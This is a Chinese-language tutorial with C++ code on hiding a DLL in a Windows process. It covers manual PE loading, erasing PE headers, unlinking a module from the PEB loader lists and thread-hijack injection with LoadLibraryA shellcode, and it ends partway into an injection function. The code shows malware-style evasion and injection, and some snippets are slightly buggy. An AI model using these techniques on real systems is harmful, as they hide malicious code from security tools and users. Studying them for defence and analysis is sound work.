构建GetProcAddress这两段代码提供了基于自定义加载的 PE 文件(如通过
VirtualAlloc
加载的二进制数据),通过导出的函数名和序号获取函数地址的方法。这种功能通常在手动加载模块(如不使用标准的
Windows
加载机制)时使用,特别是在需要解析导出表以获取特定功能地址时非常有用。
1.
通过函数导出名定位函数地址 (GetExportFunAddrByName
)
定位结构
- 定位 DOS 和 NT 头:从映像缓冲区的起始处定位
IMAGE_DOS_HEADER
和IMAGE_NT_HEADERS
。 - 检查导出表是否存在:通过检查
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
是否为NULL
来判断。
定位导出表
- 获取导出表地址:通过
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
访问IMAGE_EXPORT_DIRECTORY
。
导出表的核心组成
- 地址表、名称表、序号表
lpAdd_Fun
指向函数的地址表,每个条目存储相应函数的RVA。lpAdd_Nam
指向函数的名称表,每个条目存储函数名字符串的RVA。lpAdd_Ord
指向序号表,每个条目映射名称表到地址表的索引。
遍历和匹配
- 遍历名称表,使用
strcmp
比较目标函数名与表中的函数名。 - 如果找到匹配项,通过序号表找到相应的地址表索引,返回函数的实际地址(将 RVA 转换为实际地址)。
2.
通过函数导出序号定位函数地址
(GetExportFunAddrByOrdinal
)
定位和检查
- 过程类似
GetExportFunAddrByName
,先定位到 DOS 头和 NT 头,然后检查导出表是否存在。
定位导出表和解析表结构
- 同样,定位到
IMAGE_EXPORT_DIRECTORY
,获取地址表、名称表和序号表。
通过序号获取地址
- 使用序号直接从地址表中获取函数地址。由于序号是基于
pExp->Base
的,因此需要从序号中减去基值来获得正确的索引。 - 返回的是函数的实际内存地址,通过添加映像的基地址(
pImageBuffer
)来转换 RVA 到实际地址。
抹除特征码信息
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
//隐藏模块路径
#define MODULE_PATH "D:\\Ferry\\Project\\HideModule\\Debug\\TestDll.dll"
PIMAGE_EXPORT_DIRECTORY pExp = NULL;
//遍历模块
DWORD WINAPI TravelModule(LPVOID lp)
{
while (1)
{
system("cls");
HANDLE hSnap = 0;
MODULEENTRY32 ME32 = { 0 };
ME32.dwSize = sizeof(ME32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE)
{
return 0;
}
if (Module32First(hSnap, &ME32))
{
do
{
wprintf(L"%s \n", ME32.szModule);
} while (Module32Next(hSnap, &ME32));
}
CloseHandle(hSnap);
Sleep(1000);
}
}
//读取模块二进制数据
PCHAR FileToMem(PCHAR szFilePath, LPWORD lpdwFileSize)
{
FILE* pFile = NULL;
DWORD dwFileSize = 0;
PCHAR pFileBuffer = NULL;
//打开文件
fopen_s(&pFile, szFilePath, "rb");
if (pFile == NULL)
{
return NULL;
}
//获取文件大小
fseek(pFile, 0, SEEK_END);
dwFileSize = ftell(pFile);
fseek(pFile, 0, SEEK_SET);
//申请内存模块数据
pFileBuffer = (PCHAR)malloc(dwFileSize);
if (pFileBuffer == NULL)
{
fclose(pFile);
return NULL;
}
memset(pFileBuffer, 0, dwFileSize);
//读取文件数据
fread_s(pFileBuffer, dwFileSize, dwFileSize, 1, pFile);
//判断是否为PE文件
if (*(PSHORT)pFileBuffer != IMAGE_DOS_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
//PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
if (*(LPDWORD)(pFileBuffer + *(LPDWORD)(pFileBuffer + 0x3C)) != IMAGE_NT_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//关闭文件
fclose(pFile);
return pFileBuffer;
}
//文件缓存转内存缓存
PCHAR FileBufferToImageBuffer(PCHAR pFileBuffer)
{
PCHAR pImageBuffer = 0;
//定位PE结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
PIMAGE_FILE_HEADER pFil = (PIMAGE_FILE_HEADER)((PCHAR)pNth + 4);
PIMAGE_OPTIONAL_HEADER pOpo = (PIMAGE_OPTIONAL_HEADER)((PCHAR)pFil + IMAGE_SIZEOF_FILE_HEADER);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((PCHAR)pOpo + pFil->SizeOfOptionalHeader);
//分配内存存储内存缓存
pImageBuffer = (PCHAR)VirtualAlloc(NULL, pOpo->SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pImageBuffer == NULL)
{
return NULL;
}
memset(pImageBuffer, 0, pOpo->SizeOfImage);
//拷贝头加节表数据
memcpy(pImageBuffer, pFileBuffer, pOpo->SizeOfHeaders);
//拷贝节区数据
for (size_t i = 0; i < pFil->NumberOfSections; i++)
{
memcpy(
pImageBuffer + pSec[i].VirtualAddress,
pFileBuffer + pSec[i].PointerToRawData,
pSec[i].SizeOfRawData
);
}
//释放文件缓存
free(pFileBuffer);
return pImageBuffer;
}
//修复重定位数据
VOID RepairRelocationEntry(PCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//默认Imagebase
DWORD dwOldImageBase = pNth->OptionalHeader.ImageBase;
//判断是否有重定位表
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == NULL)
{
return;
}
//定位第一个重定位结构
PIMAGE_BASE_RELOCATION pRel = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[5].VirtualAddress);
//遍历重定位项并修复
while (pRel->VirtualAddress && pRel->SizeOfBlock)
{
//重定位项基址
DWORD dwBaseRva = pRel->VirtualAddress;
//重定位项数量
DWORD dwNumberOfRelEntry = (pRel->SizeOfBlock - 8) / 2;
//重定位项
PWORD pRelEntry = (PWORD)((PCHAR)pRel + 8);
for (size_t i = 0; i < dwNumberOfRelEntry; i++)
{
//x86下高四位为0011,x64下高四位为1010,是需要修复的重定位项
if ((pRelEntry[i] & 0x3000) == 0x3000)
{
//重定位项低十二位 + virtualaddress = rva;
DWORD dwData = pRelEntry[i] & 0xFFF;
DWORD dwDataRva = dwData + dwBaseRva;
PDWORD pData = (PDWORD)(dwDataRva + pImageBuffer);
DWORD dwRepair = (DWORD)(*pData - dwOldImageBase + pImageBuffer);
*pData = dwRepair;
}
}
pRel = (PIMAGE_BASE_RELOCATION)((PCHAR)pRel + pRel->SizeOfBlock);
}
}
//修复导入表数据
BOOL RepairImportAddressTable(PCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//判断是否有导入表结构
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == NULL)
{
return FALSE;
}
//定位第一个导入表结构
PIMAGE_IMPORT_DESCRIPTOR pImp = (PIMAGE_IMPORT_DESCRIPTOR)(pImageBuffer + pNth->OptionalHeader.DataDirectory[1].VirtualAddress);
//遍历导入表数据
while (pImp->OriginalFirstThunk && pImp->FirstThunk)
{
//获取导入模块
PCHAR pDllName = PCHAR(pImageBuffer + pImp->Name);
//加载导入模块
HMODULE hModule = LoadLibraryA(pDllName);
if (!hModule)
{
return false;
}
//INT IAT
PDWORD pInt = (PDWORD)(pImageBuffer + pImp->OriginalFirstThunk);
PDWORD pIat = (PDWORD)(pImageBuffer + pImp->FirstThunk);
do
{
//修复函数地址
DWORD dwFunAddr = 0;
//判断导入方式 最高位为1(0x80000000)那么低31位为导出序号,否则指向PIMAGE_IMPORT_BY_NAME
if ((*pInt & IMAGE_ORDINAL_FLAG) == 0x80000000)
{
dwFunAddr = (DWORD)GetProcAddress(hModule, (LPCSTR)(*pInt & 0x7FFFFFFF));
}
else
{
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)(pImageBuffer + *pInt);
dwFunAddr = (DWORD)GetProcAddress(hModule, pName->Name);
}
if (!dwFunAddr)
{
return FALSE;
}
*pIat = dwFunAddr;
pInt++;
pIat++;
} while (*pInt);
pImp++;
}
return TRUE;
}
//通过函数导出名定位函数地址
DWORD GetExportFunAddrByName(PCHAR pImageBuffer, PCHAR szFunName)
{
////定位结构
//PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
//PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
////判断导出表结构
//if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL)
//{
// return 0;
//}
////定位导出表结构
//PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
//定位三张表 地址表 名称表 序号表
LPDWORD lpAdd_Fun = (LPDWORD)(pImageBuffer + pExp->AddressOfFunctions);
LPDWORD lpAdd_Nam = (LPDWORD)(pImageBuffer + pExp->AddressOfNames);
LPWORD lpAdd_Ord = (LPWORD)(pImageBuffer + pExp->AddressOfNameOrdinals);
for (size_t i = 0; i < pExp->NumberOfNames; i++)
{
if (strcmp(szFunName, (PCHAR)(pImageBuffer + lpAdd_Nam[i])) == 0)
{
return (DWORD)lpAdd_Fun[lpAdd_Ord[i]] + (DWORD)pImageBuffer;
}
}
}
//通过函数导出序号定位函数地址
DWORD GetExportFunAddrByOrdinal(PCHAR pImageBuffer, DWORD dwOrdinal)
{
////定位结构
//PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
//PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
////判断导出表结构
//if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL)
//{
// return 0;
//}
////定位导出表结构
//PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
//定位三张表 地址表 名称表 序号表
LPDWORD lpAdd_Fun = (LPDWORD)(pImageBuffer + pExp->AddressOfFunctions);
LPDWORD lpAdd_Nam = (LPDWORD)(pImageBuffer + pExp->AddressOfNames);
LPWORD lpAdd_Ord = (LPWORD)(pImageBuffer + pExp->AddressOfNameOrdinals);
return (DWORD)lpAdd_Fun[dwOrdinal - pExp->Base] + (DWORD)pImageBuffer;
}
//抹除PE指纹
VOID RemovePeInfo(PCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//备份导出表地址
pExp = (PIMAGE_EXPORT_DIRECTORY)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
//抹除PE指纹
memset(pImageBuffer, 0, pNth->OptionalHeader.SizeOfHeaders);
}
VOID HideModuleByMemLoad(PCHAR szFilePath)
{
BOOL bRet = 0;
PCHAR pFileBuffer = NULL;
PCHAR pImageBuffer = NULL;
//1.读取模块二进制数据
pFileBuffer = FileToMem(szFilePath, NULL);
if (pFileBuffer == NULL)
{
return;
}
//2.按照PE文件格式拉伸到内存
pImageBuffer = FileBufferToImageBuffer(pFileBuffer);
if (pFileBuffer == NULL)
{
return;
}
//3.修复重定位数据
//DWORD dw = 10;
//printf("%x \n", dw); 记得关闭随机基址
//00412111 A1 00 B0 41 00 mov eax,dword ptr [dw (041B000h)]
//00512111 A1 00 B0 51 00 mov eax,dword ptr [dw (051B000h)] 基址变为500000
//00412111 - 400000 = 12111 RVA
//12000
//3111 高四位是0011,后面才是页内偏移
RepairRelocationEntry(pImageBuffer);
//4.修复导入地址表
bRet = RepairImportAddressTable(pImageBuffer);
if (!bRet)
{
return;
}
//6.抹除PE指纹
RemovePeInfo(pImageBuffer);
//5.构建GetProcAddress
typedef int(_cdecl* Add_Fun)(int, int);
Add_Fun dwFun1 = (Add_Fun)GetExportFunAddrByName(pImageBuffer, (PCHAR)"Add");
printf("%d \n", dwFun1(1, 2));
DWORD dwFun2 = GetExportFunAddrByOrdinal(pImageBuffer, 2);
}
int main()
{
//HANDLE hThread = CreateThread(NULL, 0, TravelModule, NULL, 0, NULL);
//if (hThread == NULL) { return 0; }
HideModuleByMemLoad((PCHAR)MODULE_PATH);
system("pause");
return 0;
}
RemovePeInfo
函数的目的是抹除 PE
文件的一些关键信息,这通常用于隐藏文件的某些特征,可能出于安全、隐蔽或其他特殊的目的。以下是对代码的详细解析:
定位结构
PIMAGE_DOS_HEADER pDos
:这是指向映像的起始部分,即 DOS 头部。DOS 头部包含了一个特殊的偏移量e_lfanew
,它指示了 NT 头部的位置。PIMAGE_NT_HEADERS pNth
:这是通过 DOS 头部中的e_lfanew
偏移量定位到的 NT 头部。NT 头部是 PE 格式的核心,包含了文件的重要元数据,如可选头部和节表。
备份导出表地址
pExp
:这里假设pExp
是一个全局变量,用于保存指向导出表的指针。导出表是 PE 文件结构中的一部分,它记录了所有导出的函数和变量,此处将其地址备份,可能是为了后续操作或引用。
抹除 PE 指纹
memset(pImageBuffer, 0, pNth->OptionalHeader.SizeOfHeaders);
:这行代码的作用是将整个 PE 头部的内存区域(包括 DOS 头、NT 头及所有节表和可选头)置零。这样做会移除很多关键的元数据,包括但不限于程序入口点、节的布局和对齐信息,以及其他重要的头信息。- 这种操作通常会使得 PE 文件在没有适当恢复的情况下无法正常加载或执行,因为你已经移除了操作系统用于映射和执行可执行文件所需的关键信息。
RemoveList
在 Windows 操作系统中,TEB(Thread Environment Block)、PEB(Process Environment Block)和 LDR(Loader Data)是与进程和线程管理密切相关的结构。了解这些结构对于深入理解操作系统如何管理应用程序非常重要,尤其是在进行安全分析、调试或恶意软件开发时。以下是对每个结构的详解及其在模块隐藏中的应用原理:
TEB (Thread Environment Block)
- TEB定义:TEB是一个存储线程特定数据的结构,每个线程都有自己的TEB。它包括线程堆栈的界限、线程局部存储(TLS)、当前错误模式、最后的错误状态等信息。
- 访问方式:在32位Windows中,可以通过
fs:[0]
访问当前线程的TEB;在64位Windows中,通过gs:[0]
访问。
PEB (Process Environment Block)
- PEB定义:PEB存储进程级别的信息,如进程堆、程序入口点、程序加载的模块列表、环境变量和各种标志。
- 关键成员
Ldr
:指向PEB_LDR_DATA
结构,它包含有关所有加载模块的信息。ProcessHeap
:指向进程的默认堆。ProcessParameters
:包含进程启动参数。
- 访问方式:可以通过TEB获取PEB的指针(
fs:[0x30]
在 32 位系统中,gs:[0x60]
在 64 位系统中)。
LDR (Loader Data)
- LDR定义:
PEB_LDR_DATA
是一个结构,由 PEB 的Ldr
成员指向。它包含三个重要的列表:加载顺序列表、内存顺序列表和初始化顺序列表。这些列表以双向链表的形式维护所有加载到进程地址空间的模块。 - 关键成员
InLoadOrderModuleList
InMemoryOrderModuleList
InInitializationOrderModuleList
- 每个列表的节点是
LDR_DATA_TABLE_ENTRY
结构,包含模块的基址、入口地址、模块文件名等信息。
模块隐藏原理
在安全领域,特别是在恶意软件和某些类型的系统监控工具中,可能需要隐藏某些模块以避免被检测。模块隐藏通常涉及修改或操纵PEB中的LDR结构。具体方法包括:
- 从LDR列表中移除条目:通过修改PEB的LDR数据,可以从上述链表中删除特定模块的
LDR_DATA_TABLE_ENTRY
节点。这样,虽然模块实际上仍然加载在内存中,但在遍历这些列表时,它就不会被标准工具和API(如EnumProcessModules
)检测到。 - 修改模块的状态标志:某些情况下,通过修改模块的状态标志或其他元数据可以使其在查询时被忽略。
- 直接操作内存:更直接的方式是修改内存中的PEB和LDR数据结构,但这需要高级权限和对目标系统深入的理解。
在计算机安全领域,尤其是在恶意软件分析和取证调查中,"断链"通常指的是从数据结构(如链表)中有意地移除或修改某些元素以隐藏信息。在Windows操作系统中,进程通常是通过维护在双向链表中的
PEB_LDR_DATA
结构来管理的。这个结构包含了所有加载的模块信息,通过修改这些链表,可以隐藏特定的进程或模块,使得它们不会被标准系统工具(如任务管理器)或安全软件检测到。
双向循环链表中的断链操作
在双向循环链表中进行断链操作通常涉及以下步骤:
选择要隐藏的节点:首先,确定需要从链表中移除的节点。在隐藏进程的上下文中,这意味着识别代表特定进程的
LDR_DATA_TABLE_ENTRY
结构。修改前后节点的指针
要从双向循环链表中移除一个节点,需要调整该节点前一个节点(prev)的
next
指针和后一个节点(next)的prev
指针。- 设置前一个节点的
next
指针,使其指向当前节点的下一个节点。 - 设置后一个节点的
prev
指针,使其指向当前节点的前一个节点。
- 设置前一个节点的
处理边界条件:如果被移除的是头节点或唯一的节点,需要额外处理,如重新设置链表的头指针等。
示例:隐藏进程的原理
假设我们有一个指向 PEB_LDR_DATA
结构的指针,我们可以通过修改其中的
InLoadOrderModuleList
、InMemoryOrderModuleList
和 InInitializationOrderModuleList
来隐藏特定的模块。以下是一个简化的示例代码,展示如何进行断链操作以隐藏一个模块:
void HideModule(HMODULE hModule) {
LDR_DATA_TABLE_ENTRY* moduleEntry = NULL;
// 获取PEB
PEB* peb = (PEB*) __readfsdword(0x30); // For 32-bit
// PEB* peb = (PEB*) __readgsqword(0x60); // For 64-bit
// 遍历InLoadOrderModuleList查找模块
LIST_ENTRY* start = &peb->Ldr->InLoadOrderModuleList;
LIST_ENTRY* current = start->Flink;
while (current != start) {
LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (entry->DllBase == hModule) {
moduleEntry = entry;
break;
}
current = current->Flink;
}
if (moduleEntry) {
// 断链操作
LIST_ENTRY* prev = moduleEntry->InLoadOrderLinks.Blink;
LIST_ENTRY* next = moduleEntry->InLoadOrderLinks.Flink;
prev->Flink = next;
next->Blink = prev;
}
}
在Windows操作系统中,LDR_DATA_TABLE_ENTRY
结构是一个重要的数据结构,用于表示每个加载到进程地址空间的模块(DLL或EXE文件)。这个结构是由进程的加载器维护的,包含了有关模块的各种详细信息,如模块的基地址、入口点、大小等。它是操作系统内核和用户空间应用程序之间关于模块信息交换的关键结构。
LDR_DATA_TABLE_ENTRY
结构详解
LDR_DATA_TABLE_ENTRY
结构是 PEB_LDR_DATA
的一部分,这是进程环境块(PEB)中一个管理加载模块的结构。LDR_DATA_TABLE_ENTRY
通常包含以下主要字段:
InLoadOrderLinks
- 类型:
LIST_ENTRY
- 描述:指向按加载顺序组织的模块列表的链接。
- 类型:
InMemoryOrderLinks
- 类型:
LIST_ENTRY
- 描述:指向按内存顺序组织的模块列表的链接。
- 类型:
InInitializationOrderLinks
- 类型:
LIST_ENTRY
- 描述:指向按初始化顺序组织的模块列表的链接。
- 类型:
DllBase
- 类型:
PVOID
- 描述:模块的基地址。
- 类型:
EntryPoint
- 类型:
PVOID
- 描述:模块的入口点地址,即开始执行的代码位置。
- 类型:
SizeOfImage
- 类型:
ULONG
- 描述:模块的内存占用大小。
- 类型:
FullDllName
- 类型:
UNICODE_STRING
- 描述:模块的完整路径名。
- 类型:
BaseDllName
- 类型:
UNICODE_STRING
- 描述:仅包含文件名的模块名称。
- 类型:
Flags
- 类型:
ULONG
- 描述:关于模块的各种标志,如是否已初始化、是否已卸载等。
- 类型:
LoadCount
- 类型:
USHORT
- 描述:模块的加载计数器,表明模块被加载的次数。
- 类型:
示例代码
以下是 LDR_DATA_TABLE_ENTRY
结构的示例定义,展示如何在代码中使用这个结构:
#include <windows.h>
#include <winternl.h>
void PrintModuleInfo() {
PEB* peb = (PEB*)__readfsdword(0x30); // 对于32位系统
LIST_ENTRY* moduleListHead = &peb->Ldr->InLoadOrderModuleList;
LIST_ENTRY* moduleListEntry = moduleListHead->Flink;
while (moduleListEntry != moduleListHead) {
LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(moduleListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
wprintf(L"Module Name: %s\n", module->BaseDllName.Buffer);
wprintf(L"Module Base Address: %p\n", module->DllBase);
wprintf(L"Module Entry Point: %p\n", module->EntryPoint);
wprintf(L"Module Size: %d\n", module->SizeOfImage);
moduleListEntry = moduleListEntry->Flink; // 移动到下一个节点
}
}
int main() {
PrintModuleInfo();
return 0;
}
隐藏模块的两种方法各有其优势和局限性。选择最佳方法取决于您的具体需求、目标环境的特性以及安全需求。以下是对每种方法的分析:
1.
修改
InLoadOrderModuleList
、InMemoryOrderModuleList
和 InInitializationOrderModuleList
优势:
- 隐蔽性:通过从这些链表中删除模块条目,可以使模块对于大多数基于API的枚举工具(如任务管理器和其他系统监视工具)不可见。
- 效率:这种方法相对简单,需要的修改较少,执行速度快。
- 直接性:直接操作链表项可以快速地从系统的视角隐藏模块。
局限性:
- 易被专业工具发现:某些高级的安全工具或定制的监控软件可能使用更底层的方法来检测模块,例如直接分析内存或使用驱动级别的检测。
- 风险:不当的操作可能导致系统不稳定或应用程序崩溃。
2. 自行加载、拉伸二进制数据,修复重定位、导入表和导出表,抹除特征码
优势:
- 隐蔽性强:由于整个模块是自行加载并且在内存中处理,它不会出现在操作系统的标准模块列表中。
- 更难检测:没有标准的API或简单的方法可以直接发现这些模块,需要更深层次的内存分析才能检测到。
- 控制度高:可以精确控制模块的加载过程和内存布局,对抗分析工具的能力更强。
局限性:
- 复杂性高:实现复杂,需要深入了解PE文件格式、操作系统内部工作机制和底层编程。
- 开发成本高:需要更多的时间和资源来开发和测试。
- 风险:错误的处理可能导致数据损坏或系统崩溃,对系统安全性的潜在威胁更大。
劫持线程注入解析及实现
CONTEXT
结构体
在Windows编程中,CONTEXT
结构体是一个非常重要的数据结构,主要用于存储线程的具体执行环境,包括处理器的各种寄存器。它通常用于异常处理、线程创建、调试以及任何需要精确控制和了解线程状态的场合。
CONTEXT
结构体定义在WinNT.h
头文件中,其结构因处理器的不同(如x86,
x64,
ARM)而异。下面是一个针对x64处理器的CONTEXT
结构体的简化示例:
typedef struct _CONTEXT {
DWORD64 P1Home;
DWORD64 P2Home;
DWORD64 P3Home;
DWORD64 P4Home;
DWORD64 P5Home;
DWORD64 P6Home;
// 控制寄存器
DWORD ContextFlags;
DWORD MxCsr;
// 段寄存器
WORD SegCs;
WORD SegDs;
WORD SegEs;
WORD SegFs;
WORD SegGs;
WORD SegSs;
DWORD EFlags;
// 一般寄存器
DWORD64 Dr0;
DWORD64 Dr1;
DWORD64 Dr2;
DWORD64 Dr3;
DWORD64 Dr6;
DWORD64 Dr7;
DWORD64 Rax;
DWORD64 Rcx;
DWORD64 Rdx;
DWORD64 Rbx;
DWORD64 Rsp;
DWORD64 Rbp;
DWORD64 Rsi;
DWORD64 Rdi;
DWORD64 R8;
DWORD64 R9;
DWORD64 R10;
DWORD64 R11;
DWORD64 R12;
DWORD64 R13;
DWORD64 R14;
DWORD64 R15;
// 指令指针
DWORD64 Rip;
// 128位浮点寄存器
XMM_SAVE_AREA32 FltSave;
M128A Xmm0;
M128A Xmm1;
// ... 其他 SIMD 寄存器 ...
// 调试寄存器
DWORD64 DebugControl;
DWORD64 LastBranchToRip;
DWORD64 LastBranchFromRip;
DWORD64 LastExceptionToRip;
DWORD64 LastExceptionFromRip;
} CONTEXT;
CONTEXT
结构体的ContextFlags
字段用于指示哪些寄存器的值是有效的或需要被设置。这是通过设置一系列CONTEXT_*
标志来实现的,例如CONTEXT_FULL
标志表示所有通用寄存器和控制寄存器的值都是有效的。
在使用CONTEXT
结构体时,经常与API函数如GetThreadContext
和SetThreadContext
结合使用,这些函数允许你获取或设置指定线程的上下文信息。这在调试器中尤其有用,允许调试器查询或修改程序的执行状态。
CONTEXT
结构体应用的案例分析
int main()
{
//while (1)
//{
// SleepEx(1000, TRUE);
//}//让当前线程处于警惕状态
//获取注入进程PID
DWORD dwPid = GetProcessIdByName((PWCHAR)L"inject_fz.exe");
//printf("%d \n", dwPid);
//SHELLCODE
char szCode[] =
{
0x68, 0x00,0x00,0x00,0x00, //PUSH RETADDR
0x60, //PUSHAD
0x9C, //PUSHFD
0x68, 0x00,0x00,0x00,0x00, //PUSH PARAM
0xB8, 0x00,0x00,0x00,0x00, //MOV EAX, LoadLibraryA
0xFF, 0xD0, //CALL EAX
0x9D, //POPFD
0x61, //POPAD
0xC3 //RET
};
HANDLE hThread = GetCurrentThread();
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
//获取线程上下文
GetThreadContext(hThread, &ctx);
ctx.Eip = 0x400000;
//设置线程上下文
SetThreadContext(hThread, &ctx);
//远程线程注入
//RemoteThreadInject(dwPid,szBuffer);
//劫持线程注入
//HijackProcessInject((PCHAR)"D:\\PETool 1.0.0.5.exe", szBuffer);
//消息钩子注入
//MessageHookInject(dwPid, szBuffer);
//用户APC注入
//UserApcInject(dwPid, szBuffer);
//释放指定模块
//FreeInjectDll(dwPid, (PWCHAR)L"injectdll.dll");
return 0;
}
这段代码展示了一个使用CONTEXT
结构体来操作线程上下文的示例,并配有一些潜在的代码注释来说明如何进行不同类型的注入。以下是代码的功能详解:
代码结构
首先,代码被注释了大部分,这意味着以下解释是基于代码未注释部分的假设。实际执行时,这些部分需要被解除注释。
初始化和设置线程上下文
- 获取目标进程的PID:
DWORD dwPid = GetProcessIdByName((PWCHAR)L"inject_fz.exe");
这行代码通过函数`GetProcessIdByName`(未在代码中定义,可能是自定义函数)获取名为`inject_fz.exe`的进程的PID。
- 定义Shellcode:
char szCode[] = {...};
这是一段硬编码的shellcode,用于加载库、保存和恢复寄存器状态等。具体的功能取决于被替换的内存地址内容。
- 获取当前线程句柄并初始化
CONTEXT
结构:
HANDLE hThread = GetCurrentThread();
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
获取当前线程的句柄,初始化一个`CONTEXT`结构,并设置其`ContextFlags`为`CONTEXT_ALL`,表示获取所有寄存器的上下文。
- 获取和设置线程上下文:
GetThreadContext(hThread, &ctx);
ctx.Eip = 0x400000;
SetThreadContext(hThread, &ctx);
使用`GetThreadContext`获取当前线程的上下文,然后修改`EIP`寄存器(即指令指针,在x86架构中用于指定下一条执行指令的地址)到指定的地址(`0x400000`),最后使用`SetThreadContext`将修改后的上下文应用回线程。
注入技术的注释部分
代码中还包含了多种潜在的注入技术的调用示例,这些都被注释掉了。如果解除注释,它们各自的作用如下:
- 远程线程注入:在目标进程空间创建一个新线程来运行指定代码。
- 劫持线程注入:修改已存在的进程线程来执行特定代码。
- 消息钩子注入:通过设置钩子在目标进程中执行代码。
- 用户APC注入:向目标进程的线程队列中插入异步过程调用(APC),以执行代码。
- 释放指定模块:从目标进程中卸载指定的DLL模块。
SHELLCODE劫持线程注入原理解析
//SHELLCODE
char szCode[] =
{
0x68, 0x00,0x00,0x00,0x00, //PUSH RETADDR
0x60, //PUSHAD
0x9C, //PUSHFD
0x68, 0x00,0x00,0x00,0x00, //PUSH PARAM
0xB8, 0x00,0x00,0x00,0x00, //MOV EAX, LoadLibraryA
0xFF, 0xD0, //CALL EAX
0x9D, //POPFD
0x61, //POPAD
0xC3 //RET
};
这段代码是一个简化的shellcode示例,用于在Windows环境中加载一个库。这种类型的shellcode通常用于注入和执行操作,例如在恶意软件、逆向工程或渗透测试中使用。下面是每条指令的详细解释:
Shellcode详解
- PUSH RETADDR (0x68, 0x00,0x00,0x00,0x00)
- 这条指令用于将返回地址压栈。在这个示例中,地址被设置为0x00000000,这是一个占位符,实际使用中应该替换为具体的地址。
- PUSHAD (0x60)
PUSHAD
指令用于将所有通用寄存器的值压入堆栈。这包括EAX, ECX, EDX, EBX, ESP(原值), EBP, ESI和EDI。
- PUSHFD (0x9C)
PUSHFD
指令将标志寄存器(EFLAGS)的内容压入堆栈。这保留了程序状态信息,如零标志、进位标志等。
- PUSH PARAM (0x68, 0x00,0x00,0x00,0x00)
- 再次使用PUSH指令,这次用于压栈一个参数,通常是传递给
LoadLibraryA
函数的DLL名称的地址。同样,这里的0x00000000是一个占位符,需要替换为实际的字符串地址。
- 再次使用PUSH指令,这次用于压栈一个参数,通常是传递给
- MOV EAX, LoadLibraryA (0xB8, 0x00,0x00,0x00,0x00)
- 这条指令用于将
LoadLibraryA
函数的地址移动到EAX寄存器。这里的0x00000000也是一个占位符,需要替换为LoadLibraryA
函数的实际地址。
- 这条指令用于将
- CALL EAX (0xFF, 0xD0)
- 通过
CALL EAX
指令调用EAX寄存器中的地址,即调用LoadLibraryA
函数。这将加载指定的DLL。
- 通过
- POPFD (0x9D)
POPFD
指令从堆栈中弹出一个值到标志寄存器,恢复之前保存的程序状态。
- POPAD (0x61)
POPAD
指令从堆栈中弹出八个32位的值到寄存器,恢复之前通过PUSHAD
保存的寄存器状态。
- RET (0xC3)
RET
指令从堆栈中弹出返回地址并跳转到该地址执行,通常用来结束函数调用。
劫持线程注入框架案例
//劫持线程注入
VOID HijackThreadInject(DWORD dwPid, PCHAR DllName)
{
HANDLE hThread = 0;
HANDLE hSnap = 0;
THREADENTRY32 te32 = { 0 };
te32.dwSize = sizeof(te32);
HANDLE hProcess = 0;
PCHAR pData = 0;
CONTEXT ctx = { 0 };
